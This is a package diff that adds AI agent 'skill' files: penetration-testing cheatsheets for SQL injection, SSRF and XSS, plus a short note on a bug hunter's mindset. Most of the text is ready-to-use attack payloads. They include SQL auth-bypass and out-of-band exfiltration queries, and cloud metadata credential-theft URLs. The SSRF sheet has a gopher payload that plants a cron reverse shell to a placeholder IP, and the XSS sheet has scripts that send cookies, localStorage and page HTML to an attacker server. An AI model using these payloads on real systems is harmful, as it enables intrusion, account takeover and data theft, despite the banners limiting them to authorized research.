ineedcodes 1.6.1 → 1.7.0

package/skills/vr-cheatsheet-sqli/SKILL.md

@@ -0,0 +1,270 @@
+---
+name: vr-cheatsheet-sqli
+description: >-
+  Vulnerability research reference: sqligated: true
+---
+# 💉 SQL Injection (SQLi) Research Cheatsheet
+
+> **⚠️ Research & Authorized Testing Only:** SQL injection can cause data loss or service outages. Always verify `WHERE` clauses before running `UPDATE` or `DELETE` statements.
+
+---
+
+## 🔍 1. Detection & Fingerprinting
+
+*Determine if the parameter is vulnerable and which database is running backend.*
+
+### Universal Error Triggers
+
+*Inject these characters to break the SQL syntax.*
+
+```sql
+'
+"
+`
+')
+")
+;
+--
+\   (MySQL specific, escapes the next quote)
+
+```
+
+### Logical Verification (Boolean)
+
+*If the page content changes between True and False, it is vulnerable.*
+
+```sql
+-- Integer Injection
+id=1 AND 1=1  (True - Page loads normally)
+id=1 AND 1=2  (False - Page missing content/404)
+
+-- String Injection
+id=1' AND '1'='1
+id=1' AND '1'='0
+
+-- Mathematical (Bypass Quotes)
+id=1-0  (Should stay 1)
+id=1-1  (Should become 0/Error)
+
+```
+
+### Database Fingerprinting
+
+*Identify the DB to tailor your payloads.*
+
+| Database | Version Query | String Concat | Comments |
+| --- | --- | --- | --- |
+| **MySQL** | `SELECT @@version` | `CONCAT(a,b)` or `a b` | `#`, `-- ` (space needed) |
+| **PostgreSQL** | `SELECT version()` | `a || b` | `--` |
+| **MSSQL** | `SELECT @@version` | `a + b` | `--` |
+| **Oracle** | `SELECT banner FROM v$version` | `a || b` | `--` |
+
+---
+
+## ⛓️ 2. UNION Based Injection
+
+*Used when the application displays the output of the query on the page.*
+
+### Step 1: Determine Column Count
+
+*Increment the number until the application returns an error.*
+
+```sql
+ORDER BY 1--
+ORDER BY 2--
+ORDER BY 3--
+...
+
+```
+
+### Step 2: Find the Data Echo Point
+
+*Once you know the column count (e.g., 3), identify which column is displayed.*
+
+```sql
+-- MySQL / PostgreSQL
+UNION SELECT 1, 2, 3--
+UNION SELECT 'a', 'b', 'c'--  (If types are strict)
+
+-- MSSQL / Oracle (Strict typing requires NULLs)
+UNION SELECT NULL, NULL, NULL--
+
+```
+
+### Step 3: Extract Data
+
+*Replace the echoing number (e.g., '2') with system commands.*
+
+```sql
+UNION SELECT 1, @@version, 3--
+UNION SELECT 1, user(), 3--
+UNION SELECT 1, table_name, 3 FROM information_schema.tables--
+
+```
+
+---
+
+## ⏳ 3. Blind SQL Injection
+
+*Used when no errors or data are returned. You rely on server behavior (delays).*
+
+### Time-Based Payloads (The "Sleep" Test)
+
+**MySQL**
+
+```sql
+1' AND SLEEP(5)--
+1' AND BENCHMARK(1000000,MD5(1))--
+
+```
+
+**PostgreSQL**
+
+```sql
+1' || pg_sleep(5)--
+1' || (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
+
+```
+
+**MSSQL**
+
+```sql
+1'; WAITFOR DELAY '0:0:5'--
+
+```
+
+**Oracle**
+
+```sql
+1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)--
+
+```
+
+---
+
+## 📡 4. Out-of-Band (OOB) Exfiltration
+
+*Used when you can't see the output, but the server can make external network requests (DNS/HTTP).*
+*Requires a listener (e.g., Burp Collaborator, Interactsh).*
+
+**MySQL (Windows Only - UNC Path)**
+
+```sql
+SELECT LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.your-collaborator.com\\foobar'));
+
+```
+
+**PostgreSQL (COPY Command)**
+
+```sql
+COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).your-collaborator.com';
+
+```
+
+**MSSQL (xp_dirtree)**
+
+```sql
+DECLARE @v VARCHAR(1024);
+SELECT @v = (SELECT @@version); 
+EXEC('master..xp_dirtree "\\'+@v+'.your-collaborator.com\foo"');
+
+```
+
+**Oracle (UTL_HTTP)**
+
+```sql
+SELECT UTL_HTTP.REQUEST('http://your-collaborator.com/'||(SELECT banner FROM v$version)) FROM DUAL;
+
+```
+
+---
+
+## 🛡️ 5. WAF Bypass & Evasion
+
+*Techniques to slip past filters blocking "UNION" or "SELECT".*
+
+### Case & Comments
+
+```sql
+UnIoN/**/SeLeCt
+SEL/**/ECT
+
+```
+
+### Whitespace Alternatives
+
+*If spaces are blocked, use tabs, newlines, or parenthesis.*
+
+```sql
+%09 (Tab)
+%0A (Newline)
+/*comments*/
+UNION(SELECT(1),2,3)
+
+```
+
+### Encoding
+
+```sql
+-- Hex Encoding (Bypasses quotes)
+SELECT * FROM users WHERE name = 0x61646D696E  (Hex for 'admin')
+
+-- URL Double Encoding
+%2555NION %2553ELECT
+
+```
+
+---
+
+## 🗄️ 6. Useful System Tables (Mapping the DB)
+
+*Where to look for the "flag" or user data.*
+
+**MySQL / PostgreSQL / MSSQL**
+
+```sql
+SELECT table_name FROM information_schema.tables
+SELECT column_name FROM information_schema.columns WHERE table_name = 'users'
+
+```
+
+**Oracle**
+
+```sql
+SELECT table_name FROM all_tables
+SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS'
+
+```
+
+---
+
+## 🛠️ 7. Cheat-Sheet: Payload Polyglots
+
+*Try these "one-shot" strings to detect vulnerabilities across different engines.*
+
+**The "Sleeper" Polyglot (Time-Based)**
+
+```sql
+SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/
+
+```
+
+**The Generic Error Polyglot**
+
+```text
+' " \ ; -- /*
+
+```
+
+**Authentication Bypass Polyglot**
+
+```sql
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+
+```
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.

package/skills/vr-cheatsheet-ssrf/SKILL.md

@@ -0,0 +1,173 @@
+---
+name: vr-cheatsheet-ssrf
+description: >-
+  Vulnerability research reference: ssrfgated: true
+---
+# SSRF (Server-Side Request Forgery) Cheatsheet
+
+> **⚠️ Ethical Warning:** Research and authorized testing only. Hitting internal metadata endpoints on production cloud environments is a critical severity action.
+
+---
+
+## 1. The Types of SSRF
+
+*Understanding the visibility you have determines your attack path.*
+
+### A. Basic (In-Band) SSRF
+
+**What it means:** You send a request, and the server returns the **full response** to you.
+
+* **Impact:** Massive. You can read files, steal cloud keys, or view internal admin panels directly.
+* **Detection:**
+* Input: `https://www.google.com`
+* Output: The actual HTML content of Google's homepage is rendered in the app.
+
+
+
+### B. Blind SSRF
+
+**What it means:** You send a request, but the server **does not return the response** body.
+
+**Impact:**
+* Lower immediate impact, but used to map internal networks or trigger remote code execution (RCE) on internal services (e.g., Redis, Memcached).
+
+**Detection:**
+* **Time-Based:** `http://10.0.0.1:80` (Fast response) vs `http://10.0.0.1:81` (Timeout/Slow).
+* **Out-of-Band (OOB):** You force the server to DNS query or HTTP request a server you control (e.g., Burp Collaborator).
+
+
+### C. Semi-Blind / Boolean SSRF
+
+**What it means:** You don't see the body, but you get a **different status code, error message, or response length**.
+
+**Impact:** 
+- Port scanning and internal service enumeration.
+
+**Detection:**
+* `http://localhost:22` -> Returns "Error: SSH-2.0..." (You know SSH is open).
+* `http://localhost:80` -> Returns "200 OK" (Empty body).
+* `http://localhost:9999` -> Returns "Connection Refused".
+
+
+---
+
+## 2. Cloud Metadata Targets (The "Holy Grail")
+
+*If you have In-Band SSRF on a cloud server, these are your first targets to steal credentials.*
+
+### AWS (Amazon Web Services)
+
+**IMDSv1 (Legacy - Most vulnerable)**
+
+```text
+http://169.254.169.254/latest/meta-data/
+http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+```
+
+**IMDSv2 (Modern - Requires Header)**
+*Harder to exploit via standard SSRF; requires Header Injection or specific client misconfiguration.*
+
+* Needs header: `X-aws-ec2-metadata-token-ttl-seconds: 21600`
+
+### Google Cloud Platform (GCP)
+
+* **Legacy (v1beta1):** `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json`
+* **Modern (v1):** Requires header `Metadata-Flavor: Google` (Defeats most basic SSRF).
+
+### Azure
+
+* `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
+* Requires header: `Metadata: true`
+
+### DigitalOcean & Oracle Cloud
+
+* **DigitalOcean:** `http://169.254.169.254/metadata/v1.json`
+* **Oracle:** `http://169.254.169.254/opc/v1/instance/` (Often requires `Authorization: Bearer` header).
+
+---
+
+## 3. Protocol Wrappers (Scheme Flooding)
+
+*If `http://` is blocked, or you need to interact with non-web services.*
+
+| Wrapper | Usage | Target |
+| --- | --- | --- |
+| **file://** | `file:///etc/passwd` | Read local files (LFI via SSRF). |
+| **gopher://** | `gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall...` | Talk to Redis, SMTP, Memcached (Arbitrary TCP). |
+| **dict://** | `dict://127.0.0.1:11211/stat` | Memcached interaction. |
+| **sftp://** | `sftp://evil.com:1337/` | Sometimes triggers Java loading external classes. |
+| **ldap://** | `ldap://localhost:389/%0astats%0aquit` | Internal LDAP info. |
+
+---
+
+## 4. Filter Bypasses
+
+*Developers often block "localhost" or "127.0.0.1". Here is how to slip past.*
+
+### A. IP Encoding (The "Transformer")
+
+*Browsers resolve these as 127.0.0.1, but regex filters often miss them.*
+
+| Type | Payload |
+| --- | --- |
+| **Decimal** | `http://2130706433` |
+| **Octal** | `http://0177.0000.0000.0001` |
+| **Hex** | `http://0x7f000001` |
+| **Mixed** | `http://127.1` (Shorthand) |
+| **Enclosed** | `http://[::1]` (IPv6) |
+
+### B. DNS Rebinding
+
+*The ultimate bypass for "Time-of-Check to Time-of-Use" (TOCTOU).*
+
+1. You own `attacker.com`.
+2. **Request 1 (Check):** `attacker.com` resolves to `8.8.8.8` (Safe IP). Firewall allows it.
+3. **Request 2 (Fetch):** `attacker.com` changes TTL to 0 and resolves to `127.0.0.1`.
+4. **Result:** Server talks to itself thinking it's talking to Google.
+
+* *Tool:* rbndr.us (e.g., `7f000001.80808080.rbndr.us` switches between 127.0.0.1 and 8.8.8.8).
+
+### C. Redirects (The "Boomerang")
+
+*If the server follows redirects, host the redirect on your own server.*
+
+1. Server requests `http://evil.com/redirect`.
+2. Your server responds: `HTTP 302 Location: http://169.254.169.254/latest/meta-data/`.
+3. Server follows the link and displays the keys.
+
+---
+
+## 5. Blind SSRF -> RCE (The "Gopher" Method)
+
+*If you have Blind SSRF, you can't read files. But you can WRITE commands to internal services.*
+
+**Target: Internal Redis (Port 6379)**
+
+* Redis often has no auth on localhost.
+* **Attack:** Use `gopher://` to send a constructed payload that writes a malicious cron job or SSH key to the server.
+
+```text
+gopher://127.0.0.1:6379/_%0D%0ASET%20x%20%22%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOURIP%2F4444%200%3E%261%0A%22%0D%0ACONFIG%20SET%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0ACONFIG%20SET%20dbfilename%20root%0D%0ASAVE%0D%0AQUIT
+
+```
+
+---
+
+## 6. Quick Reference: Common Internal Ports
+
+*If scanning `localhost`, look for these.*
+
+* **21:** FTP
+* **22:** SSH (Banner grabbing)
+* **25:** SMTP (Gopher can send mail)
+* **80/443/8080:** Internal Web Apps
+* **3306:** MySQL
+* **6379:** Redis (RCE Target)
+* **8000/8443:** Common Admin Panels
+* **9200:** Elasticsearch (Info Disclosure)
+* **27017:** MongoDB
+
+---
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.

package/skills/vr-cheatsheet-xss/SKILL.md

@@ -0,0 +1,177 @@
+---
+name: vr-cheatsheet-xss
+description: >-
+  Vulnerability research reference: xssgated: true
+---
+# 🛡️ Advanced XSS Payload & Bypass Cheatsheet
+
+> **⚠️ Ethical Warning:** This list is for educational and authorized testing purposes only (e.g., Bug Bounties, Penetration Testing). Unauthorized use is illegal.
+
+## 🎯 1. "Context is King" 
+
+*XSS is useless if you don't know where you are landing. Choose the payload based on the injection point.*
+
+### A. HTML Body Context (Standard)
+
+*When input lands directly between tags like `<div>[INPUT]</div>`.*
+
+```html
+<script>alert(1)</script>
+<svg/onload=alert(1)>
+<body/onload=alert(1)>
+<iframe/onload=alert(1)></iframe>
+<ScRiPt>alert(1)</sCrIpT>
+<scr%00ipt>alert(1)</script>
+
+```
+
+### B. Attribute Context
+
+*When input lands inside a tag attribute: `<input value="[INPUT]">`.*
+
+```html
+"><script>alert(1)</script>
+"><img src=x onerror=alert(1)>
+
+" onfocus=alert(1) autofocus "
+" onmouseover=alert(1) "
+
+javascript:alert(1)
+java%09script:alert(1) javascript://%250Aalert(1) ```
+```
+
+## C. JavaScript Context
+*When input lands inside a `<script>` block: `<script>var x = '[INPUT]';</script>`.*
+
+```javascript
+// 1. Break the string and the script tag (The Nuclear Option)
+</script><script>alert(1)</script>
+
+// 2. Break the string to execute code
+'-alert(1)-'
+";alert(1);"
+\u0027;alert(1);// (Unicode escape for single quote)
+
+// 3. Template Literal Injection (Backticks)
+${alert(1)}
+```
+
+---
+
+## 🚧 2. Filter & WAF Evasion
+
+*When standard payloads are blocked by a firewall or sanitizer.*
+
+### A. Whitespace & Separator Bypasses
+
+*Browsers allow weird separators that WAFs often miss.*
+
+```html
+<svg/onload=alert(1)>
+<svg///onload=alert(1)>
+<img src=x onerror=alert(1)//>
+<svg/onload=alert(1)</noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
+
+```
+
+**The "0xSobky" Polyglot:**
+
+```text
+javascript://%250Aalert(1)//"/*\'/*"/*--></title></style></textarea></script><svg/onload=alert(1)>
+
+```
+
+---
+
+## ⚛️ 4. Modern Framework Injection (CSTI)
+
+*For React, Vue, Angular, etc. These target the Template Engine, not just the HTML.*
+
+### Angular (Modern & Legacy)
+
+```javascript
+// Angular 1.x (Legacy)
+{{constructor.constructor('alert(1)')()}}
+
+// Angular (Modern - generally requires a sanitization bypass or specific setup)
+{{$on.constructor('alert(1)')()}}
+
+```
+
+### Vue.js
+
+```javascript
+// Vue 2.x
+{{constructor.constructor('alert(1)')()}}
+
+// Vue 3 (Mounting point injection)
+<div v-html="'<img src=x onerror=alert(1)>'"></div>
+
+```
+
+### React
+
+*React is secure by default. You are looking for `dangerouslySetInnerHTML` or vulnerable props.*
+
+```javascript
+// If you control props:
+<a href={user_input}>Link</a> // user_input = "javascript:alert(1)"
+
+```
+
+---
+
+## 📄 5. File Upload Vectors
+
+*If you can upload a file, you can often trigger XSS.*
+
+**SVG XSS (Save as `logo.svg`)**
+
+```xml
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
+   <script type="text/javascript">
+      alert(1);
+   </script>
+</svg>
+
+```
+
+**XML/XSLT (Save as `data.xml`)**
+*Often overlooked in PDF generators or data parsers.*
+
+```xml
+<a xmlns:a="http://www.w3.org/1999/xhtml"><a:body onload="alert(1)"/></a>
+
+```
+
+---
+
+## 🕵️ 6. Blind XSS & Data Exfiltration
+
+*For when you don't see the alert box (e.g., admin panels, log viewers).*
+*Use Burp Collaborator, Interactsh, or a custom server.*
+
+```javascript
+// 1. Basic Ping
+<script src=http://YOUR_COLLABORATOR_ID></script>
+
+// 2. Steal Cookies (The "Classic")
+<script>fetch('https://YOUR_SERVER/?cookie=' + btoa(document.cookie))</script>
+
+// 3. Steal LocalStorage (Modern Apps use this more than cookies)
+<img src=x onerror='fetch("https://YOUR_SERVER/?ls="+btoa(JSON.stringify(localStorage)))'>
+
+// 4. Exfiltrate full page HTML (See what the admin sees)
+<script>
+fetch('https://YOUR_SERVER/', {
+  method: 'POST',
+  body: document.documentElement.outerHTML
+});
+</script>
+
+```
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.

package/skills/vr-methodology-mindset_and_tips/SKILL.md

@@ -0,0 +1,51 @@
+---
+name: vr-methodology-mindset_and_tips
+description: >-
+  Vulnerability research reference: mindset_and_tipsgated: true
+---
+# The Attacker Mindset
+
+Remember, you're actively searching for things that *aren't* supposed to be there. 
+
+Because of this, you can sink hours, days, or even weeks into a target and walk away with nothing. Early on, this will feel like failure. 
+
+It is critical to understand that **failing repeatedly is an inherent part of the process.** 
+
+Taking a few hits and running into dead ends before finding a breakthrough is standard; it takes relentless reps & a little bit of luck.
+
+---
+
+## Duplicates
+
+Duplicates always sting. But they are signals of a valid finding. Try to sweep for related siblings and apply the knowledge to future hunts. Try to hunt where others aren't. Be creative.
+
+---
+
+## Tips for Success
+
+If an application responds to an input in an unexpected way (slight delay in response, strange error codes, etc.), keep pulling on that thread. 
+
+Show up every week. Keep putting in the work. It takes hundreds, if not thousands, of hours of dedicated focus to find a vulnerability.
+
+When selecting targets, focus on software architectures and environments you are already deeply familiar with.
+
+Study the developer documentation, API specifications, and administrative guides.
+
+Time spent understanding the code and application flow is never wasted. Look for hidden endpoints, legacy API paths, and complex logic chains.
+
+Reading existing vulnerability advisories is one of the fastest ways to level up. Analyze past reports to understand the attacker's methodology. 
+
+Reviewing patches that resolve vulnerabilities will help you identify what a vulnerable code path looks like versus a secure one. Studying past exploits drives inspiration for future hunts.
+
+Practice against intentionally vulnerable applications. 
+
+The [PortSwigger Web Security Academy Labs](https://portswigger.net/web-security/all-labs) offer a black-box environment to test a variety of vulnerability types safely.
+
+## Resources
+
+* [GitHub Advisory Database](https://github.com/advisories)
+* [Talos Vulnerability Reports](https://talosintelligence.com/vulnerability_reports)
+* [Tenable Research Advisories](https://www.tenable.com/security/research)
+* [Zero Day Initiative Blog](https://www.zerodayinitiative.com/blog)
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.